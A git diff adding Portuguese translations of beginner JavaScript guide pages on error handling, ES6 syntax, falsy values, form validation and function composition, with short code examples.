+```
+
+#### Nested `try...catch` :
+
+Você também pode:
+
+*   Aninhe uma instrução `try-catch` dentro de um bloco `try` .
+*   Jogue o erro para cima.
+
+```javascript
+try { 
+  try { 
+    throw new Error('my error'); 
+  } 
+  catch (e) { 
+    console.error('inner', e.message); 
+    throw e; 
+  } 
+  finally { 
+    console.log('finally'); 
+  } 
+ } 
+ catch (e) { 
+  console.error('outer', e.message); 
+ } 
+ 
+ // Output: 
+ // inner my error 
+ // finally 
+ // outer my error 
+```
+
+#### Tipos de erro
+
+##### Erro de referência
+
+```javascript
+var x; 
+ try { 
+  x = y + 1;   // y cannot be referenced (used) 
+ } 
+ catch(err) { 
+  console.log(err.name, err.message); 
+ } 
+ // ReferenceError y is not defined 
+```
+
+##### Erro de sintaxe
+
+```javascript
+try { 
+    eval("alert('Hello)");   // Missing ' will produce an error 
+ } 
+ catch(err) { 
+    console.log(err.name,err.message); 
+ } 
+ // SyntaxError Invalid or unexpected token 
+```
+
+##### Erro de tipo
+
+```javascript
+var num = 1; 
+ try { 
+    num.toUpperCase();   // You cannot convert a number to upper case 
+ } 
+ catch(err) { 
+    console.log(err.name, err.message); 
+ } 
+ // TypeError num.toUpperCase is not a function 
+```
+
+##### Erro de URI
+
+```javascript
+try { 
+    decodeURI("%%%");   // You cannot URI decode these percent signs 
+ } 
+ catch(err) { 
+    console.log(err.name, err.message); 
+ } 
+ // URIError URI malformed 
+```
+
+#### Mais Informações:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/try…catch) [W3S](https://www.w3schools.com/js/js_errors.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/es6/arrow-functions/index.md b/client/src/guide/portuguese/javascript/es6/arrow-functions/index.md
new file mode 100644
index 0000000000..2a8b6d0b69
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/es6/arrow-functions/index.md
@@ -0,0 +1,61 @@
+---
+title: Arrow Functions
+localeTitle: Funções de seta
+---
+## Funções de seta
+
+Funções no ES6 mudaram um pouco. Quero dizer a sintaxe.
+
+```javascript
+// Old Syntax 
+ function oldOne() { 
+ console.log("Hello World..!"); 
+ } 
+ 
+ // New Syntax 
+ var newOne = () => { 
+ console.log("Hello World..!"); 
+ } 
+```
+
+A nova sintaxe pode ser um pouco confusa. Mas vou tentar explicar a sintaxe. Existem duas partes da sintaxe.
+
+1.  var newOne = ()
+2.  \=> {}
+
+A primeira parte é apenas declarar uma variável e atribuir a função (ie) () a ela. Apenas diz que a variável é na verdade uma função.
+
+Então a segunda parte está declarando a parte do corpo da função. A parte da seta com as chaves indica a parte do corpo.
+
+Outro exemplo com parâmetros:
+
+```javascript
+let NewOneWithParameters = (a, b) => { 
+ console.log(a+b); // 30 
+ } 
+ NewOneWithParameters(10, 20); 
+```
+
+Parênteses são opcionais quando há apenas um nome de parâmetro:
+
+```javascript
+let newOneWithOneParam = a => { 
+ console.log(a); 
+ } 
+```
+
+Uma vantagem incrível da função de setas é que você não pode religar uma função de seta. Sempre será chamado com o contexto em que foi definido. Apenas use uma função normal.
+
+```javascript
+// Old Syntax 
+ axios.get(url).then(function(response) { 
+  this.data = response.data; 
+ }).bind(this); 
+ 
+ // New Syntax 
+ axios.get(url).then(response => { 
+  this.data = response.data; 
+ }); 
+```
+
+Eu não acho que eu precise dar uma explicação para isso. É simples.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/es6/default-parameters/index.md b/client/src/guide/portuguese/javascript/es6/default-parameters/index.md
new file mode 100644
index 0000000000..4234b56b67
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/es6/default-parameters/index.md
@@ -0,0 +1,45 @@
+---
+title: Default Parameters
+localeTitle: Parâmetros Padrão
+---
+## Parâmetros Padrão
+
+Se você estiver familiarizado com outras linguagens de programação, como o Ruby, o Python, os parâmetros padrão não são novidade para você.
+
+Parâmetros padrão são parâmetros que são dados por padrão ao declarar uma função. Mas seu valor pode ser alterado ao chamar a função.
+
+Exemplo
+```
+let Func = (a, b = 10) => { 
+ return a + b; 
+ } 
+ Func(20); // 20 + 10 = 30 
+```
+
+No exemplo acima, estamos passando apenas um parâmetro. A função faz uso do parâmetro padrão e executa a função.
+
+Considere outro exemplo:
+```
+Func(20, 50); // 20 + 50 = 70 
+```
+
+No exemplo acima, a função usa dois parâmetros e o segundo parâmetro substitui o parâmetro padrão.
+
+Considere outro exemplo:
+```
+let NotWorkingFunction = (a = 10, b) => { 
+ return a + b; 
+ } 
+ NotWorkingFunction(20); // NAN. Not gonna work. 
+```
+
+Quando você está chamando a função com parâmetros, eles são atribuídos na ordem. (isto é) o primeiro valor é atribuído ao primeiro parâmetro e o segundo valor é atribuído ao segundo parâmetro e assim por diante.
+
+No exemplo acima, o valor 20 é atribuído ao parâmetro 'a' e 'b' não tem nenhum valor. Portanto, não estamos obtendo nenhuma saída.
+
+Mas,
+```
+NotWorkingFunction(20, 30); // 50; 
+```
+
+Funciona bem.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/es6/destructuring/index.md b/client/src/guide/portuguese/javascript/es6/destructuring/index.md
new file mode 100644
index 0000000000..3caa66df1a
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/es6/destructuring/index.md
@@ -0,0 +1,65 @@
+---
+title: Destructuring Assignment
+localeTitle: Atribuição de Destruturação
+---
+## Atribuição de Destruturação
+
+A sintaxe Destructuring Assignment é uma expressão em JavaScript que permite descompactar valores ou propriedades de arrays ou objetos.
+
+Digamos que você tenha uma matriz que contenha um nome e sobrenome como dois valores, mas você deseja reatribuir esses valores a algo mais descritivo. Você pode usar Destructuring para conseguir isso.
+
+**Destruturação ES5**
+
+```js
+var fullName = ["John", "Smith"]; 
+ var firstName = fullName[0]; 
+ var lastName = fullName[1]; 
+ 
+ console.log(firstName, lastName); // John Smith 
+```
+
+**ES6 Destructuring**
+
+```js
+const fullName = ["John", "Smith"]; 
+ const [firstName, lastName] = fullName; 
+ 
+ console.log(firstName, lastName); // John Smith 
+```
+
+Os exemplos acima mostram o benefício de usar a Atribuição de Destruturação do ES6.
+
+Você também pode usar Destructuring em objetos usando uma sintaxe semelhante
+
+```js
+const fullName = { first: "John", last: "Smith"}; 
+ const {first, last} = fullName; 
+ 
+ console.log(first, last); // John Smith 
+```
+
+A Destructuring Assignment é um pouco diferente porque o objeto deve ter propriedades com os nomes que você está atribuindo. Portanto, o código abaixo não funcionaria como pretendido.
+
+```js
+const fullName = { first: "John", last: "Smith"}; 
+ const {firstName, lastName} = fullName; 
+ 
+ console.log(firstName, lastName); // undefined undefined 
+```
+
+Você ainda pode conseguir o resultado desejado usando a seguinte sintaxe.
+
+```js
+const obj = {propertyName: value} 
+ {propertyName: desiredVariableName} = obj 
+```
+
+Nosso exemplo anterior seria reescrito da seguinte forma:
+
+```js
+const fullName = { first: "John", last: "Smith"}; 
+ const {first: firstName, last: lastName} = fullName; 
+ 
+ console.log(firstName, lastName); // John Smith 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/es6/for-of/index.md b/client/src/guide/portuguese/javascript/es6/for-of/index.md
new file mode 100644
index 0000000000..a9412afb70
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/es6/for-of/index.md
@@ -0,0 +1,99 @@
+---
+title: for-of loop
+localeTitle: loop for-of
+---
## for-of Loop
+
+for-of loop pode ser usado para iterar sobre as coisas que não são arrays, mas são iteráveis ​​como uma coleção DOM, string, set, argumentos ou mapa.
+
+```javascript
+const fruits = ['Orange','Apple','Grapes','Banana']; 
+ for (const fruit of fruits) 
+ { 
+    console.log(fruit); 
+ } 
+```
+
+O snippet acima vai nos devolver os itens na matriz acima.
+
+## for-of loop em saber índice
+
+E se quisermos saber o índice de cada item também. Nesse caso, podemos iterar sobre fruits.entries (), que nos fornece o ArrayIterator.
+
+```javascript
+for (const fruit of fruits.entries()) 
+ { 
+    console.log(fruit); 
+ } 
+```
+
+No trecho acima, a fruta será uma matriz com dois itens. O item 0 vai conter o índice e o primeiro item conterá o nome real da fruta. A saída seria como:
+```
+[0, "Orange"] 
+ 
+ [1, "Apple"] 
+ 
+ [2, "Grapes"] 
+ 
+ [3, "Banana"] 
+```
+
+Podemos ainda desestruturar frutas como abaixo:
+
+```javascript
+for (const [index,fruit] of fruits.entries()) 
+ { 
+    console.log(index,fruit); 
+ } 
+```
+
+## for-of loop em iterar sobre número desconhecido de argumentos
+
+for-of loop é muito útil para iterar sobre o número desconhecido de argumentos para uma função.
+
+Suponha que queremos adicionar os números que são passados ​​para uma função e o número de argumentos não é fixo.
+
+'arguments' é uma palavra-chave especial em javascript que nos fornece o tipo Array-ish (não array) e nos fornece todos os argumentos.
+
+```javascript
+function addNumbers() 
+ { 
+    let sum = 0; 
+    for (const num of arguments) 
+       sum+=num; 
+    return sum; 
+ } 
+ addNumbers(1, 2, 3, 4, 5); // 15 
+```
+
+Aqui argumentos não é um array verdadeiro ainda podemos iterar sobre ele usando for-of loop.
+
+## for-of loop to iterate over string
+
+Podemos usar loop for-to iterate over string para nos dar caractere por caractere da string.
+
+```javascript
+const name = 'John Doe'; 
+ for (const char of name) 
+    console.log(char); 
+```
+
+que resulta na seguinte saída: caracteres 'J', 'o', 'h', 'n', '', 'D', 'o', 'e'
+
+## loop for-to iterate sobre a coleção DOM
+
+Coleções do DOM não são o tipo de array verdadeiro. Eles são geralmente NodeList para a maioria dos navegadores. Se criarmos um número de parágrafos e quisermos iterar sobre eles para designar algum evento em cada parágrafo, podemos fazer uso de loop for-of.
+
+```javascript
+const paragraphs = document.querySelectorAll('p'); 
+```
+
+Aqui, os parágrafos são um NodeList que pode ser iterado usando o loop for-of.
+
+```javascript
+for (const para of paragraphs) 
+ { 
+    console.log(para); 
+    // We can add event listeners to each para here 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/es6/index.md b/client/src/guide/portuguese/javascript/es6/index.md
new file mode 100644
index 0000000000..015c41ff78
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/es6/index.md
@@ -0,0 +1,58 @@
+---
+title: ES6
+localeTitle: ES6
+---
+## ES6
+
+A 6ª edição do ECMAScript é chamada ES6.
+
+Também é conhecido como ES2015.
+
+As mudanças adicionam muito açúcar sintático que permite aos desenvolvedores criar aplicativos em um estilo orientado a objetos.
+
+> Exemplo ES5:
+
+```javascript
+var User = function () { 
+  function User(name) { 
+    this._name = name; 
+  } 
+ 
+  User.prototype.getName = function getName(x) { 
+    return 'Mr./Mrs. ' + this._name; 
+  }; 
+ 
+  return User; 
+ }(); 
+```
+
+> Exemplo ES6:
+
+```javascript
+class User { 
+  constructor(name) { 
+    this._name = name 
+  } 
+ 
+  getName() { 
+    return `Mr./Mrs. ${this._name}` 
+  } 
+ } 
+```
+
+Muitos novos recursos de sintaxe foram introduzidos, incluindo:
+
+*   classes,
+*   módulos,
+*   templating
+*   para / de loops,
+*   expressões geradoras,
+*   funções de seta,
+*   coleções,
+*   promessas.
+
+Atualmente, a maioria dos recursos está disponível em todos os navegadores populares. A [tabela de compatibilidade](https://kangax.github.io/compat-table/es6/) contém todas as informações sobre disponibilidade de recursos de todos os navegadores modernos.
+
+Freqüentemente novos recursos chegam que fazem parte do sucessor ES7. Uma maneira comum é traduzir o JavaScript moderno (ES6, ES7 e outras propostas experimentais) para o ES5. Isso garante que também navegadores antigos possam executar o código. Existem ferramentas como o [Babel](https://babeljs.io/) que transforma o novo JavaScript em ES5.
+
+Além do açúcar sintático proveniente dos padrões ECMAScript, existem recursos que requerem um [Polyfill](https://babeljs.io/docs/usage/polyfill) . Geralmente eles são necessários porque implementações de classes / métodos inteiras foram adicionadas ao padrão.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/es6/let-and-const/index.md b/client/src/guide/portuguese/javascript/es6/let-and-const/index.md
new file mode 100644
index 0000000000..70702b100c
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/es6/let-and-const/index.md
@@ -0,0 +1,52 @@
+---
+title: Let and Const
+localeTitle: Deixe e Const
+---
+## Deixei
+
+O let é semelhante ao var, mas o let tem o escopo. let só é acessível no nível de bloco que está definido.
+```
+if (true) { 
+ let a = 40; 
+ console.log(a); //40 
+ } 
+ console.log(a); // undefined 
+```
+
+No exemplo acima, a variável 'a' é definida dentro de uma instrução If e, portanto, não é acessível fora da função.
+
+Outro exemplo:
+```
+let a = 50; 
+ let b = 100; 
+ if (true) { 
+ let a = 60; 
+ var c = 10; 
+ console.log(a/c); // 6 
+ console.log(b/c); // 10 
+ } 
+ console.log(c); // 10 
+ console.log(a); // 50 
+```
+
+## Const
+
+Const é usado para atribuir um valor constante à variável. E o valor não pode ser alterado. Está consertado.
+```
+const a = 50; 
+ a = 60; // shows error. You cannot change the value of const. 
+ const b = "Constant variable"; 
+ b = "Assigning new value"; // shows error. 
+```
+
+Considere outro exemplo.
+```
+const LANGUAGES = ['Js', 'Ruby', 'Python', 'Go']; 
+ LANGUAGES = "Javascript"; // shows error. 
+ LANGUAGES.push('Java'); // Works fine. 
+ console.log(LANGUAGES); // ['Js', 'Ruby', 'Python', 'Go', 'Java'] 
+```
+
+Isso pode ser um pouco confuso.
+
+Considere desta maneira. Sempre que você define uma variável const, o Javascript faz referência ao endereço do valor para a variável. Em nosso exemplo, a variável 'LANGUAGES' faz referência à memória alocada para o array. Portanto, você não pode alterar a variável para fazer referência a algum outro local de memória posteriormente. Ao longo do programa, ele faz referência apenas ao array.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/es6/map-function/index.md b/client/src/guide/portuguese/javascript/es6/map-function/index.md
new file mode 100644
index 0000000000..b664722c6f
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/es6/map-function/index.md
@@ -0,0 +1,25 @@
+---
+title: Map Function
+localeTitle: Função Mapa
+---
## A função do mapa
+
+A função `map()` é usada para criar uma nova matriz a partir de uma existente, aplicando uma função a cada um dos elementos da primeira matriz.
+
+A sintaxe original da função do mapa é:
+
+```javascript
+  let new_arr = arr.map(function callback(currentValue, index, array) { 
+                  // Do some stuff with currentValue (index and array are optionals) 
+                }) 
+```
+
+### Exemplo (ES6):
+
+```javascript
+const myArray_1 = [1, 2, 3, 4]; 
+ const myArray_2 = myArray_1.map(el => el * 2); 
+```
+
+`myArray_2` conterá os elementos: `[2, 4, 6, 8]`
+
+`map()` é um método do objeto `Array` , portanto, para passar essa função para um objeto iterável, é necessário tornar o objeto um Array.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/es6/new-string-functions/index.md b/client/src/guide/portuguese/javascript/es6/new-string-functions/index.md
new file mode 100644
index 0000000000..674ae60a66
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/es6/new-string-functions/index.md
@@ -0,0 +1,62 @@
+---
+title: New String Functions
+localeTitle: Novas funções de string
+---
## Novas funções de string
+
+Após quatro funções são adicionadas novas para seqüências de caracteres no ES6.
+
+*   começa com
+*   termina com
+*   inclui
+*   repetir
+
+## começa com:
+
+Esta é uma função que diferencia maiúsculas de minúsculas que nos ajuda a descobrir se uma string específica começa com alguma substring.
+
+startsWith leva no segundo argumento opcional chamado posição que podemos usar no caso quando queremos pular um determinado número de caracteres do início da string antes de pesquisar.
+
+```javascript
+const str ='Rachna'; 
+ str.startsWith('Rad') //false 
+ str.startsWith('ra') //false as it is case sensitive 
+ str.startsWith('Ra') //true 
+ str.startsWith('ch',2) //true as we are searching from the second position 
+ str.startsWith('ch',3) //false 
+```
+
+## termina com
+
+Esta é uma função que diferencia maiúsculas de minúsculas, o que nos ajuda a descobrir se uma determinada string termina com alguma substring.
+
+endsWith leva em um segundo argumento opcional chamado endPosition que podemos usar para incluir o número de caracteres antes de pesquisar.
+
+```javascript
+const city= 'Delhi'; 
+ city.endsWith('Hi'); //false as it is case sensitive 
+ city.endsWith('hi');//true 
+ city.endsWith('l',3);//true - include only first three characters before searching 
+ city.endsWith('l',4);//false 
+```
+
+## inclui
+
+includes function é também uma função que diferencia maiúsculas de minúsculas que verifica se o searchString está presente em qualquer lugar da string.
+
+```javascript
+const name='John Doe'; 
+ name.includes('do'); //false 
+ name.includes('D'); //true 
+ name.includes('Do'); //true 
+```
+
+## repetir
+
+repeat nos permite pegar uma string e repeti-la várias vezes.
+
+```javascript
+const str = 'This is repeated'; 
+ str.repeat(3); //"This is repeatedThis is repeatedThis is repeated" 
+```
+
+A função repeat pode ser usada para preencher uma string da esquerda com um número de espaços.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/es6/some-function/index.md b/client/src/guide/portuguese/javascript/es6/some-function/index.md
new file mode 100644
index 0000000000..b345bbc610
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/es6/some-function/index.md
@@ -0,0 +1,25 @@
+---
+title: Some Function
+localeTitle: Alguma função
+---
## A função alguns
+
+A função `some()` é usada para verificar se pelo menos um elemento de uma matriz atende a uma determinada condição. A função retorna `true` se a condição for satisfeita por um elemento e false se algum dos elementos atender a condição
+
+A sintaxe original da função some é:
+
+```javascript
+arr.some(function callback(currentValue, index, array) { 
+  // Do some stuff with currentValue (index and array are optionals) 
+ }, [thisArg]); 
+```
+
+### Exemplo (ES6):
+
+```javascript
+const arr = [1, 4, 5, 11]; 
+ if (arr.some(el => el % 2 == 0)) { 
+  console.log("There's at least one even number"); 
+ } 
+```
+
+`some()` é um método do objeto `Array` , portanto, para passar essa função para um objeto iterável, é necessário ter certeza de que o objeto é um Array.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/es6/spread-operator/index.md b/client/src/guide/portuguese/javascript/es6/spread-operator/index.md
new file mode 100644
index 0000000000..489c3ce2ca
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/es6/spread-operator/index.md
@@ -0,0 +1,23 @@
+---
+title: Spread Operator
+localeTitle: Operador de spread
+---
## Operador de spread
+
+O operador de spread ( `...` ), permite obter os elementos de uma coleção.
+
+Um dos usos mais comuns é para objetos de `Node` , ao usar seletores de consulta no navegador, para torná-los objetos de matriz iteráveis:
+
+```javascript
+const paragraphs = document.querySelectorAll('p.paragraph'); 
+ const arr = [...paragraphs]; 
+```
+
+Outro uso do operador de spread é para concatenação de matriz:
+
+```javascript
+const arr_1 = [1, 2, 3, 4] 
+ const arr_2 = [5, 6, 7, 8] 
+ const arr_final = [...arr_1, ...arr_2] 
+ // arr_final = [1, 2, 3, 4, 5, 6, 7, 8] 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/es6/template-literals/index.md b/client/src/guide/portuguese/javascript/es6/template-literals/index.md
new file mode 100644
index 0000000000..33e7d1221c
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/es6/template-literals/index.md
@@ -0,0 +1,76 @@
+---
+title: Template Literals
+localeTitle: Literais de modelos
+---
## Literais de modelos
+
+## Introdução:
+
+Quando queremos usar a variável para fazer uma string, torna-se muito doloroso, pois temos que usar o sinal de + para concatenar e manter o controle de citações.
+
+Agora, com o ES6, podemos criar strings usando backticks e usando marcadores de posição indicados com cifrão e chaves, como $ {expression}.
+
+```javascript
+const name='John'; 
+ const city='London'; 
+ 
+ Older Style: 
+ const sentence ='My name is '+ name +'. I live in '+city. 
+ ES6 way: 
+ const sentence = `My name is ${name}. I live in ${city}`; 
+ Here ${name} and ${city}are going to be interpolated by the variable name and city respectively. 
+```
+
+## Cordas MultiLine:
+
+Estilo mais antigo:
+
+Quando queríamos dividir nossa string em várias linhas, tínhamos que usar barras invertidas.
+
+```javascript
+const multipleLineString= "We have \ 
+ multiple lines \ 
+ here"; 
+```
+
+Agora, quando queremos criar uma string mutilina, podemos usar strings de template. Podemos cercar nossa string com backticks. Essa abordagem é extremamente útil quando queremos criar uma marcação html dinâmica.
+
+```javascript
+const htmlMarkup = ` 
+ <html> 
+ <head></head> 
+ <title>Template string</title> 
+ <body>Hello World</body> 
+ </html>`; 
+```
+
+## Aninhamento de sequências de modelos:
+
+Podemos aninhá-los uns dentro dos outros.
+
+```javascript
+const cities =[ 
+ {name:'Delhi', year: 2010}, 
+ {name:'Mumbai', year: 2015}, 
+ {name:'Kolkata', year: 2017}]; 
+ 
+ 
+ const markup = ` 
+ <ul> 
+ ${cities.map(city=>`<li>I lived in ${city.name} in the year ${city.year}</li>`).join('')} 
+ </ul>`; 
+```
+
+Aqui, o operador de junção após a função map remove as vírgulas extras que são adicionadas após cada li.
+
+## Se declarações e funções
+
+Nós também podemos usar instruções If dentro das strings do template.
+
+```javascript
+const data = {name: 'John', city: 'London', birthyear: 1900}; 
+ const markup = `<div>${data.name} lives in ${data.city}. ${data.birthyear ? `<div>He was born in the year ${data.birthyear}</div>`:''}</div>`; 
+```
+
+No exemplo acima, se birthyear for definido, então div com o conteúdo "He born in the year" é gerado, caso contrário não haveria div criado.
+
+Também podemos chamar funções dentro das cadeias de modelo.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/falsy-values/index.md b/client/src/guide/portuguese/javascript/falsy-values/index.md
new file mode 100644
index 0000000000..fd2d85155d
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/falsy-values/index.md
@@ -0,0 +1,74 @@
+---
+title: Falsy Values
+localeTitle: Valores de Falsas
+---
+## Descrição
+
+Um valor falso é algo que é avaliado como FALSE, por exemplo, ao verificar uma variável. Existem apenas seis valores de falsey em JavaScript: `undefined` , `null` , `NaN` , `0` , `""` (string vazia) e `false` claro.
+
+## Verificando valores falsos em variáveis
+
+É possível verificar um valor falso em uma variável com uma condição simples:
+
+```javascript
+if (!variable) { 
+  // When the variable has a falsy value the condition is true. 
+ } 
+```
+
+## Exemplos gerais
+
+```javascript
+var string = ""; // <-- falsy 
+ 
+ var filledString = "some string in here"; // <-- truthy 
+ 
+ var zero = 0; // <-- falsy 
+ 
+ var numberGreaterThanZero // <-- truthy 
+ 
+ var emptyArray = []; // <-- truthy, we'll explore more about this next 
+ 
+ var emptyObject = {}; // <-- truthy 
+```
+
+## Diversão com Arrays
+
+```javascript
+if ([] == false) // <-- truthy, will run code in if-block 
+ 
+ if ([]) // <-- truthy, will also run code in if-block 
+ 
+ if ([] == true) // <-- falsy, will NOT run code in if-block 
+ 
+ if (![]) // <-- falsy, will also NOT run code in if-block 
+```
+
+## Embargo
+
+Esteja ciente do tipo de dados ao avaliar um valor em um contexto booleano. Se o tipo de dados do valor for um _número_ , a avaliação geral / falsa pode resultar em um resultado inesperado:
+
+```javascript
+const match = { teamA: 0, teamB: 1 } 
+ if (match.teamA) 
+  // The following won't run due to the falsy evaluation 
+  console.log('Team A: ' + match.teamA); 
+ } 
+```
+
+Uma alternativa ao caso de uso acima é avaliar o valor usando `typeof` :
+
+```javascript
+const match = { teamA: 0, teamB: 1 } 
+ if (typeof match.teamA === 'number') 
+  console.log('Team A: ' + match.teamA); 
+ } 
+```
+
+## Mais Informações
+
+*   **truthy** | [Post do blog - Truthy & Falsey](http://james.padolsey.com/javascript/truthy-falsey/)
+    
+*   [Falsy | Glossário | MDN](https://developer.mozilla.org/en-US/docs/Glossary/Falsy)
+    
+*   [Truthy and Falsy: Quando tudo não é igual em JavaScript](https://www.sitepoint.com/javascript-truthy-falsy/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/form-validation/index.md b/client/src/guide/portuguese/javascript/form-validation/index.md
new file mode 100644
index 0000000000..fee064ebf6
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/form-validation/index.md
@@ -0,0 +1,179 @@
+---
+title: Form Validation
+localeTitle: Validação de Formulário
+---
+## Validação de Formulário
+
+Validação de formulário normalmente usada para ocorrer no servidor, após o cliente ter inserido todos os dados necessários e, em seguida, pressionado o botão Enviar. Se os dados inserido por um cliente estava incorreto ou estava simplesmente ausente, o servidor teria que enviar todos os dados de volta para o cliente e solicitar que o formulário fosse reenviada com a informação correta. Este foi realmente um processo demorado que costumava sobrecarregar o servidor.
+
+O JavaScript fornece uma maneira de validar os dados do formulário no computador do cliente antes de enviá-lo ao servidor da web. A validação de formulários geralmente executa dois funções:
+
+### Validação Básica
+
+Em primeiro lugar, o formulário deve ser verificado para garantir que todos os campos obrigatórios sejam preenchidos. Isso exigiria apenas um loop em cada campo no formulário e verifique os dados.
+
+### Validação de formato de dados
+
+Em segundo lugar, os dados inseridos devem ser verificados quanto à forma e valor corretos. Seu código deve incluir lógica apropriada para testar a exatidão dos dados.
+
+#### Exemplo:
+
+```html
+
+<html> 
+ 
+   <head> 
+      <title>Form Validation</title> 
+ 
+      <script type="text/javascript"> 
+         <!-- 
+            // Form validation code will come here. 
+         //--> 
+      </script> 
+ 
+   </head> 
+ 
+   <body> 
+      <form action="/cgi-bin/test.cgi" name="myForm" onsubmit="return(validate());"> 
+         <table cellspacing="2" cellpadding="2" border="1"> 
+ 
+            <tr> 
+               <td align="right">Name</td> 
+               <td><input type="text" name="Name" /></td> 
+            </tr> 
+ 
+            <tr> 
+               <td align="right">EMail</td> 
+               <td><input type="text" name="EMail" /></td> 
+            </tr> 
+ 
+            <tr> 
+               <td align="right">Zip Code</td> 
+               <td><input type="text" name="Zip" /></td> 
+            </tr> 
+ 
+            <tr> 
+               <td align="right">Country</td> 
+               <td> 
+                  <select name="Country"> 
+                     <option value="-1" selected>[choose yours]</option> 
+                     <option value="1">USA</option> 
+                     <option value="2">UK</option> 
+                     <option value="3">INDIA</option> 
+                  </select> 
+               </td> 
+            </tr> 
+ 
+            <tr> 
+               <td align="right"></td> 
+               <td><input type="submit" value="Submit" /></td> 
+            </tr> 
+ 
+         </table> 
+      </form> 
+ 
+   </body> 
+ </html> 
+```
+
+#### Saída
+
+Vigia [aqui](https://liveweave.com/LP9eOP)
+
+### Validação Básica de Formulários
+
+Primeiro, vamos ver como fazer uma validação básica de formulário. Na forma acima, estamos chamando validate () para validar os dados quando o evento onsubmit está ocorrendo. o O código a seguir mostra a implementação desta função `validate()` .
+
+```html
+
+<script type="text/javascript"> 
+   // Form validation code will come here. 
+   function validate() 
+      { 
+ 
+         if( document.myForm.Name.value == "" ) 
+         { 
+            alert( "Please provide your name!" ); 
+            document.myForm.Name.focus() ; 
+            return false; 
+         } 
+ 
+         if( document.myForm.EMail.value == "" ) 
+         { 
+            alert( "Please provide your Email!" ); 
+            document.myForm.EMail.focus() ; 
+            return false; 
+         } 
+ 
+         if( document.myForm.Zip.value == "" || 
+         isNaN( document.myForm.Zip.value ) || 
+         document.myForm.Zip.value.length != 5 ) 
+         { 
+            alert( "Please provide a zip in the format #####." ); 
+            document.myForm.Zip.focus() ; 
+            return false; 
+         } 
+ 
+         if( document.myForm.Country.value == "-1" ) 
+         { 
+            alert( "Please provide your country!" ); 
+            return false; 
+         } 
+         return( true ); 
+      } 
+ </script> 
+```
+
+#### Saída
+
+Vigia [aqui](https://liveweave.com/pCPTnP)
+
+### Validação de formato de dados
+
+Agora veremos como podemos validar nossos dados de formulário inseridos antes de enviá-los ao servidor da web.
+
+O exemplo a seguir mostra como validar um endereço de email inserido. Um endereço de e-mail deve conter pelo menos um sinal "@" e um ponto (.). Além disso, o '@' deve não é o primeiro caractere do endereço de e-mail, e o último ponto deve ser pelo menos um caractere após o sinal "@".
+
+#### Exemplo:
+
+```html
+
+<script type="text/javascript"> 
+    function validateEmail() 
+      { 
+         var emailID = document.myForm.EMail.value; 
+         atpos = emailID.indexOf("@"); 
+         dotpos = emailID.lastIndexOf("."); 
+ 
+         if (atpos < 1 || ( dotpos - atpos < 2 )) 
+         { 
+            alert("Please enter correct email ID") 
+            document.myForm.EMail.focus() ; 
+            return false; 
+         } 
+         return( true ); 
+      } 
+ </script> 
+```
+
+#### Saída
+
+Vigia [aqui](https://liveweave.com/nznVs6)
+
+### Restrições de Formulário HTML5
+
+Algumas das restrições HTML5 comumente usadas para `<input>` são o atributo `type` (por exemplo, `type="password"` ), `maxlength` , `required` e `disabled` . Menos A restrição comumente usada é o attrinute `pattern` que usa a expressão regular JavaScript.
+
+### Bibliotecas de validação
+
+Exemplos de bibliotecas de validação incluem:
+
+*   [Validate.js](http://rickharrison.github.com/validate.js/)
+*   [Validação](http://bassistance.de/jquery-plugins/jquery-plugin-validation/)
+*   [Válido8](http://unwrongest.com/projects/valid8/)
+
+### Mais Informações
+
+*   [Validação de dados de formulário | MDN](https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Form_validation)
+*   [Validação de restrição | MDN](https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation)
+*   [Ponto de tutoriais](https://www.tutorialspoint.com/javascript/javascript_form_validations.htm)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/function-composition/index.md b/client/src/guide/portuguese/javascript/function-composition/index.md
new file mode 100644
index 0000000000..6c06b4b36d
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/function-composition/index.md
@@ -0,0 +1,67 @@
+---
+title: Function Composition
+localeTitle: Função Composição
+---
## Composição função
+
+A composição da função é a aplicação pontual de uma função ao resultado de outra. Os desenvolvedores fazem isso de maneira manual todos os dias quando o ninho funciona:
+
+```javascript
+compose = (fn1, fn2) => value => fn2(fn1(value)) 
+```
+
+Mas isso é difícil de ler. Existe uma maneira melhor de usar a composição de funções. Em vez de lê-los de dentro para fora:
+
+```javascript
+add2AndSquare = (n) => square(add2(n)) 
+```
+
+Podemos usar uma função de ordem superior para encadear de forma ordenada.
+
+```javascript
+add2AndSquare = compose( add2, square) 
+```
+
+Uma simples implementação de composição seria:
+
+```javascript
+compose = (f1, f2) => value => f2( f1(value) ); 
+```
+
+Para obter ainda mais flexibilidade, podemos usar a função reduceRight:
+
+```javascript
+compose = (...fns) => (initialVal) => fns.reduceRight((val, fn) => fn(val), initialVal); 
+```
+
